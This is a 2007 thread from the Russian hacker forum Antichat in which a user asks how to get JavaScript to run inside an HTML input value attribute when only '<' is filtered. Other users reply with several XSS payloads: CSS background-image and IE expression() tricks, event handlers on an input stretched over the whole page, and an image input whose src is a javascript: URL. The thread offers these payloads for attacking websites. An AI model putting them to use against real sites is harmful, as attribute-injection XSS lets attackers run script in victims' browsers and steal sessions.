ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP Провести XSS в <input>

   

Опции темы

Поиск в этой теме

Опции просмотра

Провести XSS в <input>   #1   30.06.2007, 09:08 hhover Познающий Регистрация: 21.05.2007 Сообщений: 61 С нами: 9986942 Репутация: 145 Провести XSS в <input> Собственно <input value="XSS" /> Фильтруется только < Код: <input value="" style=background-image:url('javascript:alert();'); /> Пашет только в ИЕ. Есть другие способы javascript всунуть, кроме background-image ? 𝕏 Twitter Reddit Telegram Копировать ссылку   hhover Посмотреть профиль Репутация Отправить личное сообщение для hhover Найти все сообщения от hhover Добавить в друзья   #2   30.06.2007, 09:47 V1k Познающий Регистрация: 01.02.2007 Сообщений: 41 С нами: 10143866 Репутация: 201 <input value="" onmouseover="alert('xek')" style="position:absolute;top:0;left:0;width:1600;h eight:1200;z-index:100;left:expression(alert('xek'));"/> для Оперы и Огнелиса - Input растягивается на всю страницу и JavaScript пишется в onMouseOver. для ИЕ есть возможность исполнять JavaScript через стиль используя expression()   V1k Посмотреть профиль Репутация Отправить личное сообщение для V1k Посетить домашнюю страницу V1k Найти все сообщения от V1k Добавить в друзья   #3   30.06.2007, 10:13 hhover Познающий Регистрация: 21.05.2007 Сообщений: 61 С нами: 9986942 Репутация: 145 Что-то я по серъезному тупанул, вообще забыл про события в javascript. =\ Спасибо, проблема решена.   hhover Посмотреть профиль Репутация Отправить личное сообщение для hhover Найти все сообщения от hhover Добавить в друзья   #4   18.08.2007, 11:58 V1k Познающий Регистрация: 01.02.2007 Сообщений: 41 С нами: 10143866 Репутация: 201 Оказывается, есть и кроссбраузерный вариант: <input value="" type=image src="javascript:alert()"/> Но работает он только если тип input'a еще не был определен.   V1k Посмотреть профиль Репутация Отправить личное сообщение для V1k Посетить домашнюю страницу V1k Найти все сообщения от V1k Добавить в друзья   #5   18.08.2007, 15:07 bul.666 Banned Регистрация: 06.06.2006 Сообщений: 944 С нами: 10489346 Репутация: 1403 <input type=button OnClick="javascript:alert()"> Наверное так тоже сработает, хотя хз я все позабыл на хрен! =/   bul.666 Посмотреть профиль Репутация Найти все сообщения от bul.666 Добавить в друзья

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Xss для новичков	Micr0b	Уязвимости	79	06.07.2018 22:05
Xss	bx_N	Forum for discussion of ANTICHAT	7	11.03.2007 19:17
phpbb 2.0.19 можно ли провести xss атаку на форумы таких версий	Taylorith	Уязвимости CMS / форумов	15	18.01.2007 18:02

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход Мой кабинет Личные сообщения Подписки Кто на форуме Поиск по форуму Главная страница форума ИНФО     Мировые новости. Обсуждения.     Статьи         Избранное РАЗРАБОТКА     Ваши проекты     SЕО - тонкости, методы раскрутки         Услуги, Покупка и Продажа в SEO     Хостинги - Hostings         Хостинг, Dedicated, VDS, Сервера - покупка, продажа     Для Администратора         Apple: Mac, OS X, iOS         AntiDDos - АнтиДДОС         Windows         Linux, Freebsd, *nix ПРОГРАММИРОВАНИЕ     Общие вопросы программирования         ПО для Web разработчика     PHP     Python     С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby     Реверсинг ТЕХНОЛОГИИ И AI     Искусственный интеллект (AI)     Нейросети и промптинг     AI автоматизация     Разработка AI-агентов     Технологические новости     Стартапы, бизнес и инвестиции     Программирование с AI ФИНАНСОВЫЕ ЗАДАЧИ/СОЦИАЛЬНЫЕ СЕТИ     Покупка, Продажа, Обмен         Разное - Покупка, продажа, обмен         Услуги, Покупка и Продажа в SEO         Электронные валюты: Обмен, Вывод, Ввод         VPN, Proxy, Socks - Покупка, продажа         Хостинг, Dedicated, VDS, Сервера - Покупка, продажа         Мобильная связь, СМС - Покупка, продажа         Трафик, инсталлы, загрузки - Покупка, продажа         Покупка, продажа, услуги в Соц. Сетях     Партнерки     Freelance - О Работе         Предложения работы, услуг     Социальные сети         Покупка, продажа, услуги в Соц. Сетях     Платежные системы         Электронные валюты: Обмен, Вывод, Ввод         Blockchain, Криптовалюты, смарт-контракты ТЕНЕВОЙ РЫНОК     Пробив информации     Карты, кошельки, биржи     Документы готовые и под заказ     Способы и схемы заработка     Арбитраж трафика     Барахолка ОФФТОП     Болталка     Forum for discussion of ANTICHAT     Video.Antichat         Комментарии к видео     Архив         ICQ - Покупка, продажа